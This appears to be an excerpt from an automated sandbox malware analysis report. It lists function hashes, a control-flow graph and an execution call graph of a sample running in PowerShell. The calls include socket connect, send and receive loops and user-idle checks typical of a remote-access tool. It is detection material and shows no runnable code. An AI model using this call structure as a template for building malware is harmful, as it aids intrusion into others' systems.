                      control_flow_graph 1101 343d90-343db3 1102 343db9-343dbe 1101->1102 1103 343f0a-343f4e 1101->1103 1104 343dd6-343dda 1102->1104 1105 343dc0-343dc6 1102->1105 1130 343f50-343f52 1103->1130 1131 343f5c-343f74 1103->1131 1106 343eb7-343ec1 1104->1106 1107 343de0-343de2 1104->1107 1109 343dc8 1105->1109 1110 343dca-343dd4 1105->1110 1114 343ec3-343ecc 1106->1114 1115 343ecf-343ed5 1106->1115 1111 343de4-343df0 1107->1111 1112 343df2 1107->1112 1109->1104 1110->1104 1117 343df4-343df6 1111->1117 1112->1117 1118 343ed7-343ed9 1115->1118 1119 343edb-343ee7 1115->1119 1117->1106 1120 343dfc-343e00 1117->1120 1122 343ee9-343f07 1118->1122 1119->1122 1124 343e20 1120->1124 1125 343e02-343e1e 1120->1125 1128 343e22-343e24 1124->1128 1125->1128 1128->1106 1132 343e2a-343e3d 1128->1132 1130->1131 1137 343f76 1131->1137 1138 343f78-343f7a 1131->1138 1139 343e43-343e45 1132->1139 1140 343f84-343f85 1137->1140 1138->1140 1141 343e47-343e4d 1139->1141 1142 343e5d-343eb4 1139->1142 1143 343e51-343e53 1141->1143 1144 343e4f 1141->1144 1143->1142 1144->1142
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd
                      • API String ID: 0-1975255835
                      • Opcode ID: fee8521d256c4e2f4d5a98955adf26b7c03bfabaf4d5c36cb5f541b34cd27dd8
                      • Instruction ID: 79098497e82bc9a0d8a64ac1b71dfde65e262ab4d84d99305c9d5fa8743e0c28
                      • Opcode Fuzzy Hash: fee8521d256c4e2f4d5a98955adf26b7c03bfabaf4d5c36cb5f541b34cd27dd8
                      • Instruction Fuzzy Hash: 0B11B132A01204DFCB66DE65C4407BABBE5AF95320F268066D408DF251D770EE85CB91
                      Function 00341189 Relevance: .1, Instructions: 55COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: bf643486eb2133e2dd1cf672cc2b72382c6c4c2224ea05544d71729fda44f9d8
                      • Instruction ID: 22eb5e4620a5a76c60c4c2e1705ca9f6159f2c861598c1b8c193d465b0102f18
                      • Opcode Fuzzy Hash: bf643486eb2133e2dd1cf672cc2b72382c6c4c2224ea05544d71729fda44f9d8
                      • Instruction Fuzzy Hash: C11108203193C42FEB1697300C66F6E6FB58F82700F1584AAE542EF2D3C9A95C458362
                      Function 0020D01D Relevance: .0, Instructions: 45COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452757715.000000000020D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0020D000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_20d000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: e82f18882317a05224680240db4667b86a4ade31d04cdeeed0576e6a84e6db47
                      • Instruction ID: 033f428f3fef5d8f5d5a6c82db1b9fb850f7abb4411f954cf3997ae4a2f1e12c
                      • Opcode Fuzzy Hash: e82f18882317a05224680240db4667b86a4ade31d04cdeeed0576e6a84e6db47
                      • Instruction Fuzzy Hash: A601F27151A340ABE7204F65C8C4B66FFA9EF41360F28801AEC8D4B2C7C2B99851CAB1
                      Function 003411B0 Relevance: .0, Instructions: 41COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 8dec0099f218b52cd374c1a9daa69db9e75729dd33a9ef87642b3828bde8fbe8
                      • Instruction ID: 6ee8c38b6a96326e698dc1a7860281b0fbcf57cb2b695196a05809dd06d8b3b2
                      • Opcode Fuzzy Hash: 8dec0099f218b52cd374c1a9daa69db9e75729dd33a9ef87642b3828bde8fbe8
                      • Instruction Fuzzy Hash: 8CF0C27036038837EA24A6714806F6FA5DADBD4B44F508428F606EF3C1CEF6AC8083A5
                      Function 0020D01C Relevance: .0, Instructions: 36COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452757715.000000000020D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0020D000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_20d000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 7a65b25f5770d032fdd51a0ab7c518487dff16d1bfeb62dcd4e06962cd4bb771
                      • Instruction ID: df209b099d45c31d5f7c642ab7fbbfe491415d361ca4d2f0fe0ffa68e99c35ec
                      • Opcode Fuzzy Hash: 7a65b25f5770d032fdd51a0ab7c518487dff16d1bfeb62dcd4e06962cd4bb771
                      • Instruction Fuzzy Hash: 47F04F71505344AFE7108E16D8C4B62FBA8EB41764F18C55AED885A296C2799844CAB1
                      Function 00344DCF Relevance: .0, Instructions: 23COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 9a3362476058de907050e0d16b1e43b44092331070d08ac8a287d5a8db27fd6d
                      • Instruction ID: 7a06abb87677d371e4193f0d4a3c6d5bbee206ea605b02728c38c49a544b614e
                      • Opcode Fuzzy Hash: 9a3362476058de907050e0d16b1e43b44092331070d08ac8a287d5a8db27fd6d
                      • Instruction Fuzzy Hash: E9E0D833B047448BDF2A666090323AD7BA17FE6611F2641B7C8619B75ACA309816C352

                      Non-executed Functions

                      Function 003400A0 Relevance: 16.6, Strings: 13, Instructions: 399COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd$@#Gd$@#Gd$@#Gd$L4#p$L4#p$L4#p$L4#p$L4#p$L4#p$`8/$`8/$`8/
                      • API String ID: 0-1892209417
                      • Opcode ID: ddf36d02f58621fd3e8454a6f0f38444ee7056381e3967085b3b58596a5df512
                      • Instruction ID: aff2a036d1139e071a460a1e0412bd38aedbdc0c4d5d14cb1dc050442f3fe88e
                      • Opcode Fuzzy Hash: ddf36d02f58621fd3e8454a6f0f38444ee7056381e3967085b3b58596a5df512
                      • Instruction Fuzzy Hash: D2D10431B00244AFEF1A9F64C811BAE7BE6AF81310F15846AEB419F391CB75ED41CB91
                      Function 00341BE0 Relevance: 10.3, Strings: 8, Instructions: 278COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd$@#Gd$L4#p$L4#p$L4#p$:/$:/$:/
                      • API String ID: 0-3994516192
                      • Opcode ID: 172cac6316a3adbada96a02e1dad040f319573f0a0d3b284cffb3e75bba46e79
                      • Instruction ID: 9a933bff04003e0fb46d69d85d2a7eaa9a183ea91b2f21622fa80b8b00a6921a
                      • Opcode Fuzzy Hash: 172cac6316a3adbada96a02e1dad040f319573f0a0d3b284cffb3e75bba46e79
                      • Instruction Fuzzy Hash: DCA13B30B04744AFEB179F24C85177A7BE1AF82310F1984AAD9418F2E2DB75ED85C792
                      Function 00341420 Relevance: 9.1, Strings: 7, Instructions: 383COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: 4:/$4:/$4`Dd$@#Gd$@#Gd$9/$9/
                      • API String ID: 0-155619826
                      • Opcode ID: fa42c6fbb80ac07da4de146fe9764fef2af8a6fa498c203c899af9a6c1f4fb38
                      • Instruction ID: f3e03a8e30ecee7e2997dd085dee827cc302db287b0eab906775b14ea676183d
                      • Opcode Fuzzy Hash: fa42c6fbb80ac07da4de146fe9764fef2af8a6fa498c203c899af9a6c1f4fb38
                      • Instruction Fuzzy Hash: 89D10531B047418FDB168B69C540AAABBE6EFD5310B2980BED946CF351DB35EC82C791
                      Function 00343FA8 Relevance: 5.2, Strings: 4, Instructions: 205COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd$@#Gd$xFHd$xFHd
                      • API String ID: 0-3275376526
                      • Opcode ID: 8e07e774a538e880fbffb4101ac0b4cfd22aa3e363c67312284662e1a6553476
                      • Instruction ID: accddf97b47a2d6b3a4f8b2eb10f3ad15c518d2ff9306b016bfce1eb62dfbc09
                      • Opcode Fuzzy Hash: 8e07e774a538e880fbffb4101ac0b4cfd22aa3e363c67312284662e1a6553476
                      • Instruction Fuzzy Hash: D1614431B043508FEB269A74880176ABBE6AFE5311B29807BD945DF351DB35DC92C3A2

                      Execution Graph

                      Execution Coverage:5.9%
                      Dynamic/Decrypted Code Coverage:19.7%
                      Signature Coverage:3.4%
                      Total number of Nodes:1509
                      Total number of Limit Nodes:49
                      execution_graph 53052 10006d60 53053 10006d69 53052->53053 53054 10006d72 53052->53054 53056 10006c5f 53053->53056 53076 10005af6 GetLastError 53056->53076 53058 10006c6c 53096 10006d7e 53058->53096 53060 10006c74 53105 100069f3 53060->53105 53063 10006c8b 53063->53054 53066 10006cce 53130 1000571e 19 API calls __dosmaperr 53066->53130 53070 10006cc9 53129 10006368 19 API calls __dosmaperr 53070->53129 53072 10006d12 53072->53066 53132 100068c9 25 API calls 53072->53132 53073 10006ce6 53073->53072 53131 1000571e 19 API calls __dosmaperr 53073->53131 53077 10005b12 53076->53077 53078 10005b0c 53076->53078 53082 10005b61 SetLastError 53077->53082 53134 1000637b 19 API calls 2 library calls 53077->53134 53133 10005e08 10 API calls 2 library calls 53078->53133 53081 10005b24 53086 10005b2c 53081->53086 53136 10005e5e 10 API calls 2 library calls 53081->53136 53082->53058 53084 10005b41 53084->53086 53087 10005b48 53084->53087 53135 1000571e 19 API calls __dosmaperr 53086->53135 53137 1000593c 19 API calls _abort 53087->53137 53088 10005b32 53090 10005b6d SetLastError 53088->53090 53139 100055a8 36 API calls _abort 53090->53139 53091 10005b53 53138 1000571e 19 API calls __dosmaperr 53091->53138 53095 10005b5a 53095->53082 53095->53090 53097 10006d8a ___scrt_is_nonwritable_in_current_image 53096->53097 53098 10005af6 _abort 36 API calls 53097->53098 53103 10006d94 53098->53103 53100 10006e18 _abort 53100->53060 53103->53100 53140 100055a8 36 API calls _abort 53103->53140 53141 10005671 RtlEnterCriticalSection 53103->53141 53142 1000571e 19 API calls __dosmaperr 53103->53142 53143 10006e0f RtlLeaveCriticalSection _abort 53103->53143 53144 100054a7 53105->53144 53108 10006a14 GetOEMCP 53111 10006a3d 53108->53111 53109 10006a26 53110 10006a2b GetACP 53109->53110 53109->53111 53110->53111 53111->53063 53112 100056d0 53111->53112 53113 1000570e 53112->53113 53117 100056de _abort 53112->53117 53155 10006368 19 API calls __dosmaperr 53113->53155 53114 100056f9 RtlAllocateHeap 53116 1000570c 53114->53116 53114->53117 53116->53066 53119 10006e20 53116->53119 53117->53113 53117->53114 53154 1000474f 7 API calls 2 library calls 53117->53154 53120 100069f3 38 API calls 53119->53120 53121 10006e3f 53120->53121 53124 10006e90 IsValidCodePage 53121->53124 53126 10006e46 53121->53126 53128 10006eb5 ___scrt_fastfail 53121->53128 53123 10006cc1 53123->53070 53123->53073 53125 10006ea2 GetCPInfo 53124->53125 53124->53126 53125->53126 53125->53128 53166 10002ada 53126->53166 53156 10006acb GetCPInfo 53128->53156 53129->53066 53130->53063 53131->53072 53132->53066 53133->53077 53134->53081 53135->53088 53136->53084 53137->53091 53138->53095 53141->53103 53142->53103 53143->53103 53145 100054c4 53144->53145 53146 100054ba 53144->53146 53145->53146 53147 10005af6 _abort 36 API calls 53145->53147 53146->53108 53146->53109 53148 100054e5 53147->53148 53152 10007a00 36 API calls __fassign 53148->53152 53150 100054fe 53153 10007a2d 36 API calls __fassign 53150->53153 53152->53150 53153->53146 53154->53117 53155->53116 53157 10006baf 53156->53157 53162 10006b05 53156->53162 53159 10002ada _ValidateLocalCookies 5 API calls 53157->53159 53161 10006c5b 53159->53161 53161->53126 53173 100086e4 53162->53173 53165 10008a3e 41 API calls 53165->53157 53167 10002ae3 53166->53167 53168 10002ae5 IsProcessorFeaturePresent 53166->53168 53167->53123 53170 10002b58 53168->53170 53243 10002b1c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53170->53243 53172 10002c3b 53172->53123 53174 100054a7 __fassign 36 API calls 53173->53174 53175 10008704 MultiByteToWideChar 53174->53175 53177 10008742 53175->53177 53184 100087da 53175->53184 53179 100056d0 20 API calls 53177->53179 53185 10008763 ___scrt_fastfail 53177->53185 53178 10002ada _ValidateLocalCookies 5 API calls 53180 10006b66 53178->53180 53179->53185 53187 10008a3e 53180->53187 53181 100087d4 53192 10008801 19 API calls _free 53181->53192 53183 100087a8 MultiByteToWideChar 53183->53181 53186 100087c4 GetStringTypeW 53183->53186 53184->53178 53185->53181 53185->53183 53186->53181 53188 100054a7 __fassign 36 API calls 53187->53188 53189 10008a51 53188->53189 53193 10008821 53189->53193 53192->53184 53194 1000883c 53193->53194 53195 10008862 MultiByteToWideChar 53194->53195 53196 10008a16 53195->53196 53197 1000888c 53195->53197 53198 10002ada _ValidateLocalCookies 5 API calls 53196->53198 53200 100056d0 20 API calls 53197->53200 53202 100088ad 53197->53202 53199 10006b87 53198->53199 53199->53165 53200->53202 53201 100088f6 MultiByteToWideChar 53203 1000890f 53201->53203 53215 10008962 53201->53215 53202->53201 53202->53215 53220 10005f19 53203->53220 53207 10008939 53210 10005f19 10 API calls 53207->53210 53207->53215 53208 10008971 53209 100056d0 20 API calls 53208->53209 53216 10008992 53208->53216 53209->53216 53210->53215 53211 10008a07 53228 10008801 19 API calls _free 53211->53228 53212 10005f19 10 API calls 53214 100089e6 53212->53214 53214->53211 53217 100089f5 WideCharToMultiByte 53214->53217 53229 10008801 19 API calls _free 53215->53229 53216->53211 53216->53212 53217->53211 53218 10008a35 53217->53218 53230 10008801 19 API calls _free 53218->53230 53231 10005c45 53220->53231 53222 10005f40 53223 10005f49 53222->53223 53235 10005fa1 9 API calls 2 library calls 53222->53235 53226 10002ada _ValidateLocalCookies 5 API calls 53223->53226 53225 10005f89 LCMapStringW 53225->53223 53227 10005f9b 53226->53227 53227->53207 53227->53208 53227->53215 53228->53215 53229->53196 53230->53215 53233 10005c71 53231->53233 53234 10005c75 __crt_fast_encode_pointer 53231->53234 53233->53234 53236 10005ce1 53233->53236 53234->53222 53235->53225 53237 10005d02 LoadLibraryExW 53236->53237 53241 10005cf7 53236->53241 53238 10005d37 53237->53238 53239 10005d1f GetLastError 53237->53239 53238->53241 53242 10005d4e FreeLibrary 53238->53242 53239->53238 53240 10005d2a LoadLibraryExW 53239->53240 53240->53238 53241->53233 53242->53241 53243->53172 53244 4165a0 53255 401e65 53244->53255 53246 4165b0 53260 4020f6 53246->53260 53249 401e65 22 API calls 53250 4165c6 53249->53250 53251 4020f6 28 API calls 53250->53251 53252 4165d1 53251->53252 53266 41292a 53252->53266 53256 401e6d 53255->53256 53257 401e75 53256->53257 53285 402158 22 API calls 53256->53285 53257->53246 53261 40210c 53260->53261 53286 4023ce 53261->53286 53263 402126 53290 402569 53263->53290 53265 402134 53265->53249 53338 40482d 53266->53338 53268 41293e 53345 4048c8 connect 53268->53345 53272 41295f 53410 402f10 53272->53410 53281 401fd8 11 API calls 53282 412991 53281->53282 53283 401fd8 11 API calls 53282->53283 53284 412999 53283->53284 53287 402428 53286->53287 53288 4023d8 53286->53288 53287->53263 53288->53287 53300 4027a7 53288->53300 53311 402888 53290->53311 53292 40257d 53293 402592 53292->53293 53294 4025a7 53292->53294 53316 402a34 22 API calls 53293->53316 53318 4028e8 53294->53318 53297 40259b 53317 4029da 22 API calls 53297->53317 53299 4025a5 53299->53265 53301 402e21 53300->53301 53304 4016b4 53301->53304 53303 402e30 53303->53287 53305 4016cb 53304->53305 53309 4016c6 53304->53309 53306 4016f3 53305->53306 53305->53309 53306->53303 53308 43bd18 53310 43bd19 11 API calls _Atexit 53309->53310 53310->53308 53312 402890 53311->53312 53313 402898 53312->53313 53329 402ca3 22 API calls 53312->53329 53313->53292 53316->53297 53317->53299 53319 4028f1 53318->53319 53320 402953 53319->53320 53321 4028fb 53319->53321 53336 4028a4 22 API calls 53320->53336 53324 402904 53321->53324 53326 402917 53321->53326 53330 402cae 53324->53330 53327 402915 53326->53327 53328 4023ce 11 API calls 53326->53328 53327->53299 53328->53327 53331 402cb8 __EH_prolog 53330->53331 53337 402e54 22 API calls 53331->53337 53333 4023ce 11 API calls 53335 402d92 53333->53335 53334 402d24 53334->53333 53335->53327 53337->53334 53339 404846 socket 53338->53339 53340 404839 53338->53340 53342 404860 CreateEventW 53339->53342 53343 404842 53339->53343 53451 40489e WSAStartup 53340->53451 53342->53268 53343->53268 53344 40483e 53344->53339 53344->53343 53346 404a1b 53345->53346 53347 4048ee 53345->53347 53348 404a21 WSAGetLastError 53346->53348 53398 40497e 53346->53398 53349 404923 53347->53349 53347->53398 53452 40531e 53347->53452 53350 404a31 53348->53350 53348->53398 53487 420c60 27 API calls 53349->53487 53353 404932 53350->53353 53354 404a36 53350->53354 53360 402093 28 API calls 53353->53360 53492 41cae1 30 API calls 53354->53492 53356 40492b 53356->53353 53359 404941 53356->53359 53357 40490f 53457 402093 53357->53457 53358 404a40 53493 4052fd 28 API calls 53358->53493 53369 404950 53359->53369 53370 404987 53359->53370 53364 404a80 53360->53364 53367 402093 28 API calls 53364->53367 53371 404a8f 53367->53371 53375 402093 28 API calls 53369->53375 53489 421a40 54 API calls 53370->53489 53372 41b4ef 80 API calls 53371->53372 53372->53398 53378 40495f 53375->53378 53377 40498f 53380 4049c4 53377->53380 53381 404994 53377->53381 53382 402093 28 API calls 53378->53382 53491 420e06 28 API calls 53380->53491 53385 402093 28 API calls 53381->53385 53386 40496e 53382->53386 53387 4049a3 53385->53387 53388 41b4ef 80 API calls 53386->53388 53392 402093 28 API calls 53387->53392 53389 404973 53388->53389 53488 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53389->53488 53390 4049cc 53391 4049f9 CreateEventW CreateEventW 53390->53391 53393 402093 28 API calls 53390->53393 53391->53398 53394 4049b2 53392->53394 53396 4049e2 53393->53396 53397 41b4ef 80 API calls 53394->53397 53399 402093 28 API calls 53396->53399 53400 4049b7 53397->53400 53405 402f31 53398->53405 53401 4049f1 53399->53401 53490 4210b2 52 API calls 53400->53490 53403 41b4ef 80 API calls 53401->53403 53404 4049f6 53403->53404 53404->53391 53406 4020df 11 API calls 53405->53406 53407 402f3d 53406->53407 53408 4032a0 28 API calls 53407->53408 53409 402f59 53408->53409 53409->53272 53555 401fb0 53410->53555 53412 402f1e 53413 402055 11 API calls 53412->53413 53414 402f2d 53413->53414 53415 404aa1 53414->53415 53416 404ab4 53415->53416 53558 40520c 53416->53558 53418 404ac9 _Yarn 53419 404b40 WaitForSingleObject 53418->53419 53420 404b20 53418->53420 53422 404b56 53419->53422 53421 404b32 send 53420->53421 53423 404b7b 53421->53423 53564 42103a 54 API calls 53422->53564 53426 401fd8 11 API calls 53423->53426 53425 404b69 SetEvent 53425->53423 53427 404b83 53426->53427 53428 401fd8 11 API calls 53427->53428 53429 404b8b 53428->53429 53430 401fd8 53429->53430 53431 4023ce 11 API calls 53430->53431 53432 401fe1 53431->53432 53433 404c10 53432->53433 53434 4020df 11 API calls 53433->53434 53435 404c27 53434->53435 53436 4020df 11 API calls 53435->53436 53442 404c30 53436->53442 53441 404ca1 53622 404e26 WaitForSingleObject 53441->53622 53442->53441 53444 401fd8 11 API calls 53442->53444 53582 43bd51 53442->53582 53589 404b96 53442->53589 53595 4020b7 53442->53595 53601 401fe2 53442->53601 53610 404cc3 53442->53610 53444->53442 53446 401fd8 11 API calls 53447 404cb1 53446->53447 53448 401fd8 11 API calls 53447->53448 53449 404cba 53448->53449 53449->53281 53451->53344 53494 4020df 53452->53494 53454 40532a 53498 4032a0 53454->53498 53456 405346 53456->53357 53458 40209b 53457->53458 53459 4023ce 11 API calls 53458->53459 53460 4020a6 53459->53460 53502 4024ed 53460->53502 53463 41b4ef 53464 41b5a0 53463->53464 53465 41b505 GetLocalTime 53463->53465 53467 401fd8 11 API calls 53464->53467 53466 40531e 28 API calls 53465->53466 53468 41b547 53466->53468 53469 41b5a8 53467->53469 53513 406383 53468->53513 53471 401fd8 11 API calls 53469->53471 53473 41b5b0 53471->53473 53473->53349 53474 402f10 28 API calls 53475 41b55f 53474->53475 53476 406383 28 API calls 53475->53476 53477 41b56b 53476->53477 53518 407200 77 API calls 53477->53518 53479 41b579 53480 401fd8 11 API calls 53479->53480 53481 41b585 53480->53481 53482 401fd8 11 API calls 53481->53482 53483 41b58e 53482->53483 53484 401fd8 11 API calls 53483->53484 53485 41b597 53484->53485 53486 401fd8 11 API calls 53485->53486 53486->53464 53487->53356 53488->53398 53489->53377 53490->53389 53491->53390 53492->53358 53495 4020e7 53494->53495 53496 4023ce 11 API calls 53495->53496 53497 4020f2 53496->53497 53497->53454 53499 4032aa 53498->53499 53500 4032c9 53499->53500 53501 4028e8 28 API calls 53499->53501 53500->53456 53501->53500 53503 4024f9 53502->53503 53506 40250a 53503->53506 53505 4020b1 53505->53463 53507 40251a 53506->53507 53508 402520 53507->53508 53509 402535 53507->53509 53511 402569 28 API calls 53508->53511 53510 4028e8 28 API calls 53509->53510 53512 402533 53510->53512 53511->53512 53512->53505 53519 4051ef 53513->53519 53515 406391 53523 402055 53515->53523 53518->53479 53520 4051fb 53519->53520 53529 405274 53520->53529 53522 405208 53522->53515 53524 402061 53523->53524 53525 4023ce 11 API calls 53524->53525 53526 40207b 53525->53526 53551 40267a 53526->53551 53530 405282 53529->53530 53531 405288 53530->53531 53532 40529e 53530->53532 53540 4025f0 53531->53540 53533 4052f5 53532->53533 53534 4052b6 53532->53534 53549 4028a4 22 API calls 53533->53549 53538 4028e8 28 API calls 53534->53538 53539 40529c 53534->53539 53538->53539 53539->53522 53541 402888 22 API calls 53540->53541 53542 402602 53541->53542 53543 402672 53542->53543 53544 402629 53542->53544 53550 4028a4 22 API calls 53543->53550 53547 4028e8 28 API calls 53544->53547 53548 40263b 53544->53548 53547->53548 53548->53539 53552 40268b 53551->53552 53553 4023ce 11 API calls 53552->53553 53554 40208d 53553->53554 53554->53474 53556 4025f0 28 API calls 53555->53556 53557 401fbd 53556->53557 53557->53412 53559 405214 53558->53559 53560 4023ce 11 API calls 53559->53560 53561 40521f 53560->53561 53565 405234 53561->53565 53563 40522e 53563->53418 53564->53425 53566 405240 53565->53566 53567 40526e 53565->53567 53569 4028e8 28 API calls 53566->53569 53581 4028a4 22 API calls 53567->53581 53571 40524a 53569->53571 53571->53563 53584 446137 ___crtLCMapStringA 53582->53584 53583 446175 53636 4405dd 20 API calls __dosmaperr 53583->53636 53584->53583 53585 446160 RtlAllocateHeap 53584->53585 53635 442f80 7 API calls 2 library calls 53584->53635 53585->53584 53587 446173 53585->53587 53587->53442 53590 404ba0 WaitForSingleObject 53589->53590 53591 404bcd recv 53589->53591 53637 421076 54 API calls 53590->53637 53593 404be0 53591->53593 53593->53442 53594 404bbc SetEvent 53594->53593 53596 4020bf 53595->53596 53597 4023ce 11 API calls 53596->53597 53598 4020ca 53597->53598 53599 40250a 28 API calls 53598->53599 53600 4020d9 53599->53600 53600->53442 53602 401ff1 53601->53602 53609 402039 53601->53609 53603 4023ce 11 API calls 53602->53603 53604 401ffa 53603->53604 53605 40203c 53604->53605 53606 402015 53604->53606 53607 40267a 11 API calls 53605->53607 53638 403098 28 API calls 53606->53638 53607->53609 53609->53442 53611 4020df 11 API calls 53610->53611 53621 404cde 53611->53621 53612 404e13 53613 401fd8 11 API calls 53612->53613 53614 404e1c 53613->53614 53614->53442 53615 4041a2 28 API calls 53615->53621 53616 401fe2 28 API calls 53616->53621 53617 401fd8 11 API calls 53617->53621 53618 4020f6 28 API calls 53618->53621 53621->53612 53621->53615 53621->53616 53621->53617 53621->53618 53639 401fc0 53621->53639 53623 404e40 SetEvent CloseHandle 53622->53623 53624 404e57 closesocket 53622->53624 53625 404ca8 53623->53625 53626 404e64 53624->53626 53625->53446 53627 404e7a 53626->53627 53939 4050e4 84 API calls 53626->53939 53629 404e8c WaitForSingleObject 53627->53629 53630 404ece SetEvent CloseHandle 53627->53630 53940 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53629->53940 53630->53625 53632 404e9b SetEvent WaitForSingleObject 53941 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53632->53941 53634 404eb3 SetEvent CloseHandle CloseHandle 53634->53630 53635->53584 53636->53587 53637->53594 53638->53609 53640 401fd2 CreateEventA CreateThread WaitForSingleObject CloseHandle 53639->53640 53641 401fc9 53639->53641 53640->53621 53644 415aea 53640->53644 53643 4025e0 28 API calls 53641->53643 53643->53640 53645 4020f6 28 API calls 53644->53645 53646 415b0c SetEvent 53645->53646 53647 415b21 53646->53647 53723 4041a2 53647->53723 53650 4020f6 28 API calls 53651 415b4b 53650->53651 53652 4020f6 28 API calls 53651->53652 53653 415b5d 53652->53653 53726 41be1b 53653->53726 53656 415cd6 53790 401e8d 53656->53790 53658 415b86 GetTickCount 53748 41bb8e 53658->53748 53660 415cf9 53789 4050e4 84 API calls 53660->53789 53664 401fd8 11 API calls 53667 41709e 53664->53667 53666 415cc9 53666->53656 53669 401fd8 11 API calls 53667->53669 53668 415ba3 53670 41bb8e 28 API calls 53668->53670 53671 4170aa 53669->53671 53672 415bae 53670->53672 53754 41ba96 53672->53754 53677 401e65 22 API calls 53678 415bd8 53677->53678 53679 402f31 28 API calls 53678->53679 53680 415be6 53679->53680 53763 402ea1 28 API calls 53680->53763 53682 415bf5 53683 402f10 28 API calls 53682->53683 53684 415c04 53683->53684 53764 402ea1 28 API calls 53684->53764 53686 415c13 53687 402f10 28 API calls 53686->53687 53688 415c1f 53687->53688 53765 402ea1 28 API calls 53688->53765 53690 415c29 53691 404aa1 61 API calls 53690->53691 53692 415c38 53691->53692 53693 401fd8 11 API calls 53692->53693 53694 415c41 53693->53694 53695 401fd8 11 API calls 53694->53695 53696 415c4d 53695->53696 53697 401fd8 11 API calls 53696->53697 53698 415c59 53697->53698 53699 401fd8 11 API calls 53698->53699 53700 415c65 53699->53700 53701 401fd8 11 API calls 53700->53701 53702 415c71 53701->53702 53703 401fd8 11 API calls 53702->53703 53704 415c7d 53703->53704 53766 401f09 53704->53766 53707 401fd8 11 API calls 53708 415c8f 53707->53708 53709 401fd8 11 API calls 53708->53709 53710 415c98 53709->53710 53711 401e65 22 API calls 53710->53711 53712 415ca3 53711->53712 53769 43baac 53712->53769 53715 415cb5 53719 415cc3 53715->53719 53720 415cce 53715->53720 53716 415cdb 53717 401e65 22 API calls 53716->53717 53718 415ce5 53717->53718 53718->53656 53718->53660 53773 404ff4 82 API calls 53719->53773 53774 404f51 53720->53774 53796 40423a 53723->53796 53727 4020df 11 API calls 53726->53727 53744 41be2e 53727->53744 53728 401fd8 11 API calls 53729 41bed0 53728->53729 53731 401fd8 11 API calls 53729->53731 53730 41bea0 53732 4041a2 28 API calls 53730->53732 53734 41bed8 53731->53734 53736 41beac 53732->53736 53733 4041a2 28 API calls 53733->53744 53735 401fd8 11 API calls 53734->53735 53737 415b66 53735->53737 53738 401fe2 28 API calls 53736->53738 53737->53656 53737->53658 53737->53718 53740 41beb5 53738->53740 53739 401fe2 28 API calls 53739->53744 53741 401fd8 11 API calls 53740->53741 53743 41bebd 53741->53743 53742 401fd8 11 API calls 53742->53744 53803 41ce34 28 API calls 53743->53803 53744->53730 53744->53733 53744->53739 53744->53742 53747 41be9e 53744->53747 53802 41ce34 28 API calls 53744->53802 53747->53728 53804 441e81 53748->53804 53751 402093 28 API calls 53752 415b97 53751->53752 53753 41bae6 GetLastInputInfo GetTickCount 53752->53753 53753->53668 53813 436e90 53754->53813 53759 41bd1e 53760 41bd2b 53759->53760 53761 4020b7 28 API calls 53760->53761 53762 415bca 53761->53762 53762->53677 53763->53682 53764->53686 53765->53690 53767 402252 11 API calls 53766->53767 53768 401f12 